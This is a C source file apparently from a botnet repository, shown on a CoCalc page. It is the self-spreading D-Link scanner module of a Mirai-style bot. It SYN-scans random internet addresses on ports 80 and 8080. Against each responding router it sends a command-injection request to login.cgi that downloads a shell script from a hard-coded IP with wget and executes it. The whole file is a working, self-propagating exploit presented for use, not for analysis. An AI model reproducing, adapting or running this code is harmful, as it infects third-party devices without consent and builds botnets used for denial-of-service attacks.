Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/DLink/dlink_scanner.c
5038 views
1
#define _GNU_SOURCE
2
3
#ifdef DEBUG
4
#include <stdio.h>
5
#endif
6
#include <unistd.h>
7
#include <stdlib.h>
8
#include <sys/socket.h>
9
#include <arpa/inet.h>
10
#include <sys/select.h>
11
#include <sys/types.h>
12
#include <time.h>
13
#include <fcntl.h>
14
#include <signal.h>
15
#include <errno.h>
16
#include <string.h>
17
#include <linux/ip.h>
18
#include <linux/tcp.h>
19
20
#include "headers/includes.h"
21
#include "headers/dlink_scanner.h"
22
#include "headers/table.h"
23
#include "headers/rand.h"
24
#include "headers/util.h"
25
#include "headers/checksum.h"
26
27
int dlinkscanner_scanner_pid = 0, dlinkscanner_rsck = 0, dlinkscanner_rsck_out = 0;
28
char dlinkscanner_scanner_rawpkt[sizeof(struct iphdr) + sizeof(struct tcphdr)] = {0};
29
struct dlinkscanner_scanner_connection *conn_table;
30
uint32_t dlinkscanner_fake_time = 0;
31
32
int dlinkscanner_recv_strip_null(int sock, void *buf, int len, int flags)
33
{
34
int ret = recv(sock, buf, len, flags);
35
36
if(ret > 0)
37
{
38
int i = 0;
39
40
for(i = 0; i < ret; i++)
41
{
42
if(((char *)buf)[i] == 0x00)
43
{
44
((char *)buf)[i] = 'A';
45
}
46
}
47
}
48
49
return ret;
50
}
51
52
void dlinkscanner_scanner_init(void)
53
{
54
int i = 0;
55
uint16_t source_port;
56
struct iphdr *iph;
57
struct tcphdr *tcph;
58
59
// Let parent continue on main thread
60
dlinkscanner_scanner_pid = fork();
61
if(dlinkscanner_scanner_pid > 0 || dlinkscanner_scanner_pid == -1)
62
return;
63
64
LOCAL_ADDR = util_local_addr();
65
66
rand_init();
67
dlinkscanner_fake_time = time(NULL);
68
conn_table = calloc(dlinkscanner_SCANNER_MAX_CONNS, sizeof(struct dlinkscanner_scanner_connection));
69
for(i = 0; i < dlinkscanner_SCANNER_MAX_CONNS; i++)
70
{
71
conn_table[i].state = dlinkscanner_SC_CLOSED;
72
conn_table[i].fd = -1;
73
}
74
75
// Set up raw socket scanning and payload
76
if((dlinkscanner_rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
77
{
78
#ifdef DEBUG
79
printf("[dlink] failed to initialize raw socket, cannot scan\n");
80
#endif
81
exit(0);
82
}
83
fcntl(dlinkscanner_rsck, F_SETFL, O_NONBLOCK | fcntl(dlinkscanner_rsck, F_GETFL, 0));
84
i = 1;
85
if(setsockopt(dlinkscanner_rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) != 0)
86
{
87
#ifdef DEBUG
88
printf("[dlink] failed to set IP_HDRINCL, cannot scan\n");
89
#endif
90
close(dlinkscanner_rsck);
91
exit(0);
92
}
93
94
do
95
{
96
source_port = rand_next() & 0xffff;
97
}
98
while(ntohs(source_port) < 1024);
99
100
iph = (struct iphdr *)dlinkscanner_scanner_rawpkt;
101
tcph = (struct tcphdr *)(iph + 1);
102
103
// Set up IPv4 header
104
iph->ihl = 5;
105
iph->version = 4;
106
iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));
107
iph->id = rand_next();
108
iph->ttl = 64;
109
iph->protocol = IPPROTO_TCP;
110
111
// Set up TCP header
112
tcph->dest = htons(80);
113
tcph->source = source_port;
114
tcph->doff = 5;
115
tcph->window = rand_next() & 0xffff;
116
tcph->syn = TRUE;
117
118
#ifdef DEBUG
119
printf("[dlink] scanner process initialized. scanning started.\n");
120
#endif
121
122
// Main logic loop
123
while(TRUE)
124
{
125
fd_set fdset_rd, fdset_wr;
126
struct dlinkscanner_scanner_connection *conn;
127
struct timeval tim;
128
int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;
129
130
// Spew out SYN to try and get a response
131
if(dlinkscanner_fake_time != last_spew)
132
{
133
last_spew = dlinkscanner_fake_time;
134
135
for(i = 0; i < dlinkscanner_SCANNER_RAW_PPS; i++)
136
{
137
struct sockaddr_in paddr = {0};
138
struct iphdr *iph = (struct iphdr *)dlinkscanner_scanner_rawpkt;
139
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
140
141
iph->id = rand_next();
142
iph->saddr = LOCAL_ADDR;
143
iph->daddr = dlinkscanner_get_random_ip();
144
iph->check = 0;
145
iph->check = checksum_generic((uint16_t *)iph, sizeof(struct iphdr));
146
147
if (i % 10 == 0)
148
{
149
tcph->dest = htons(8080);
150
}
151
else
152
{
153
tcph->dest = htons(80);
154
}
155
tcph->seq = iph->daddr;
156
tcph->check = 0;
157
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof(struct tcphdr)), sizeof(struct tcphdr));
158
159
paddr.sin_family = AF_INET;
160
paddr.sin_addr.s_addr = iph->daddr;
161
paddr.sin_port = tcph->dest;
162
163
sendto(dlinkscanner_rsck, dlinkscanner_scanner_rawpkt, sizeof(dlinkscanner_scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof(paddr));
164
}
165
}
166
167
// Read packets from raw socket to get SYN+ACKs
168
last_avail_conn = 0;
169
while(TRUE)
170
{
171
int n = 0;
172
char dgram[1514];
173
struct iphdr *iph = (struct iphdr *)dgram;
174
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
175
struct dlinkscanner_scanner_connection *conn;
176
177
errno = 0;
178
n = recvfrom(dlinkscanner_rsck, dgram, sizeof(dgram), MSG_NOSIGNAL, NULL, NULL);
179
if(n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
180
break;
181
182
if(n < sizeof(struct iphdr) + sizeof(struct tcphdr))
183
continue;
184
if(iph->daddr != LOCAL_ADDR)
185
continue;
186
if(iph->protocol != IPPROTO_TCP)
187
continue;
188
if(tcph->source != htons(80) && tcph->source != htons(8080))
189
continue;
190
if(tcph->dest != source_port)
191
continue;
192
if(!tcph->syn)
193
continue;
194
if(!tcph->ack)
195
continue;
196
if(tcph->rst)
197
continue;
198
if(tcph->fin)
199
continue;
200
if(htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
201
continue;
202
203
conn = NULL;
204
for(n = last_avail_conn; n < dlinkscanner_SCANNER_MAX_CONNS; n++)
205
{
206
if(conn_table[n].state == dlinkscanner_SC_CLOSED)
207
{
208
conn = &conn_table[n];
209
last_avail_conn = n;
210
break;
211
}
212
}
213
214
// If there were no slots, then no point reading any more
215
if(conn == NULL)
216
break;
217
218
conn->dst_addr = iph->saddr;
219
conn->dst_port = tcph->source;
220
dlinkscanner_setup_connection(conn);
221
}
222
223
FD_ZERO(&fdset_rd);
224
FD_ZERO(&fdset_wr);
225
226
for(i = 0; i < dlinkscanner_SCANNER_MAX_CONNS; i++)
227
{
228
int timeout = 5;
229
230
conn = &conn_table[i];
231
//timeout = (conn->state > dlinkscanner_SC_CONNECTING ? 30 : 5);
232
233
if(conn->state != dlinkscanner_SC_CLOSED && (dlinkscanner_fake_time - conn->last_recv) > timeout)
234
{
235
close(conn->fd);
236
conn->fd = -1;
237
conn->state = dlinkscanner_SC_CLOSED;
238
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
239
240
continue;
241
}
242
243
if(conn->state == dlinkscanner_SC_CONNECTING || conn->state == dlinkscanner_SC_EXPLOIT_STAGE2 || conn->state == dlinkscanner_SC_EXPLOIT_STAGE3)
244
{
245
FD_SET(conn->fd, &fdset_wr);
246
if(conn->fd > mfd_wr)
247
mfd_wr = conn->fd;
248
}
249
else if(conn->state != dlinkscanner_SC_CLOSED)
250
{
251
FD_SET(conn->fd, &fdset_rd);
252
if(conn->fd > mfd_rd)
253
mfd_rd = conn->fd;
254
}
255
}
256
257
tim.tv_usec = 0;
258
tim.tv_sec = 1;
259
nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);
260
dlinkscanner_fake_time = time(NULL);
261
262
for(i = 0; i < dlinkscanner_SCANNER_MAX_CONNS; i++)
263
{
264
conn = &conn_table[i];
265
266
if(conn->fd == -1)
267
continue;
268
269
if(FD_ISSET(conn->fd, &fdset_wr))
270
{
271
int err = 0, ret = 0;
272
socklen_t err_len = sizeof(err);
273
274
ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
275
if(err == 0 && ret == 0)
276
{
277
if(conn->state == dlinkscanner_SC_EXPLOIT_STAGE2)
278
{
279
#ifdef DEBUG
280
printf("[dlink] FD%d sending payload\n", conn->fd);
281
#endif
282
283
284
util_strcpy(conn->payload_buf, "GET /login.cgi?cli=aa%20aa%27;wget%20http://94.177.216.74/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: /\r\nUser-Agent: r00ts3c-owned-you\r\n\r\n");
285
send(conn->fd, conn->payload_buf, util_strlen(conn->payload_buf), MSG_NOSIGNAL);
286
util_zero(conn->payload_buf, sizeof(conn->payload_buf));
287
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
288
289
close(conn->fd);
290
dlinkscanner_setup_connection(conn);
291
conn->state = dlinkscanner_SC_EXPLOIT_STAGE3;
292
293
continue;
294
}
295
else if(conn->state == dlinkscanner_SC_EXPLOIT_STAGE3)
296
{
297
#ifdef DEBUG
298
printf("[dlink] FD%d finnished\n", conn->fd);
299
#endif
300
301
close(conn->fd);
302
conn->fd = -1;
303
conn->state = dlinkscanner_SC_CLOSED;
304
305
continue;
306
}
307
else
308
{
309
#ifdef DEBUG
310
printf("[dlink] FD%d connected to %d.%d.%d.%d\n", conn->fd, conn->dst_addr & 0xff, (conn->dst_addr >> 8) & 0xff, (conn->dst_addr >> 16) & 0xff, (conn->dst_addr >> 24) & 0xff);
311
#endif
312
313
conn->state = dlinkscanner_SC_EXPLOIT_STAGE2;
314
}
315
}
316
else
317
{
318
close(conn->fd);
319
conn->fd = -1;
320
conn->state = dlinkscanner_SC_CLOSED;
321
322
continue;
323
}
324
}
325
326
if(FD_ISSET(conn->fd, &fdset_rd))
327
{
328
while(TRUE)
329
{
330
int ret = 0;
331
332
if(conn->state == dlinkscanner_SC_CLOSED)
333
break;
334
335
if(conn->rdbuf_pos == dlinkscanner_SCANNER_RDBUF_SIZE)
336
{
337
memmove(conn->rdbuf, conn->rdbuf + dlinkscanner_SCANNER_HACK_DRAIN, dlinkscanner_SCANNER_RDBUF_SIZE - dlinkscanner_SCANNER_HACK_DRAIN);
338
conn->rdbuf_pos -= dlinkscanner_SCANNER_HACK_DRAIN;
339
}
340
341
errno = 0;
342
ret = dlinkscanner_recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, dlinkscanner_SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
343
if(ret == 0)
344
{
345
errno = ECONNRESET;
346
ret = -1;
347
}
348
if(ret == -1)
349
{
350
if(errno != EAGAIN && errno != EWOULDBLOCK)
351
{
352
if(conn->state == dlinkscanner_SC_EXPLOIT_STAGE2)
353
{
354
close(conn->fd);
355
dlinkscanner_setup_connection(conn);
356
continue;
357
}
358
359
close(conn->fd);
360
conn->fd = -1;
361
conn->state = dlinkscanner_SC_CLOSED;
362
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
363
}
364
break;
365
}
366
367
conn->rdbuf_pos += ret;
368
conn->last_recv = dlinkscanner_fake_time;
369
370
int len = util_strlen(conn->rdbuf);
371
conn->rdbuf[len] = 0;
372
}
373
}
374
}
375
}
376
}
377
378
void dlinkscanner_scanner_kill(void)
379
{
380
kill(dlinkscanner_scanner_pid, 9);
381
}
382
383
static void dlinkscanner_setup_connection(struct dlinkscanner_scanner_connection *conn)
384
{
385
struct sockaddr_in addr = {0};
386
387
if(conn->fd != -1)
388
close(conn->fd);
389
390
if((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
391
{
392
return;
393
}
394
395
conn->rdbuf_pos = 0;
396
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
397
398
fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));
399
400
addr.sin_family = AF_INET;
401
addr.sin_addr.s_addr = conn->dst_addr;
402
addr.sin_port = conn->dst_port;
403
404
conn->last_recv = dlinkscanner_fake_time;
405
406
if(conn->state == dlinkscanner_SC_EXPLOIT_STAGE2 || conn->state == dlinkscanner_SC_EXPLOIT_STAGE3)
407
{
408
}
409
else
410
{
411
conn->state = dlinkscanner_SC_CONNECTING;
412
}
413
414
connect(conn->fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));
415
}
416
417
static ipv4_t dlinkscanner_get_random_ip(void)
418
{
419
uint32_t tmp;
420
uint8_t o1 = 0, o2 = 0, o3 = 0, o4 = 0;
421
422
do
423
{
424
tmp = rand_next();
425
426
o1 = tmp & 0xff;
427
o2 = (tmp >> 8) & 0xff;
428
o3 = (tmp >> 16) & 0xff;
429
o4 = (tmp >> 24) & 0xff;
430
}
431
while(o1 == 127 || // 127.0.0.0/8 - Loopback
432
(o1 == 0) || // 0.0.0.0/8 - Invalid address space
433
(o1 == 3) || // 3.0.0.0/8 - General Electric Company
434
(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
435
(o1 == 56) || // 56.0.0.0/8 - US Postal Service
436
(o1 == 10) || // 10.0.0.0/8 - Internal network
437
(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
438
(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
439
(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
440
(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
441
(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
442
(o1 >= 224) || // 224.*.*.*+ - Multicast
443
(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
444
);
445
446
int randnum = rand() % 2;
447
if (randnum == 0)
448
{
449
return INET_ADDR(212,o2,o3,o4);
450
}
451
if (randnum == 1)
452
{
453
return INET_ADDR(o1,o2,o3,o4);
454
}
455
if (randnum == 2)
456
{
457
return INET_ADDR(o1,o2,o3,o4);
458
}
459
460
}
461
462
463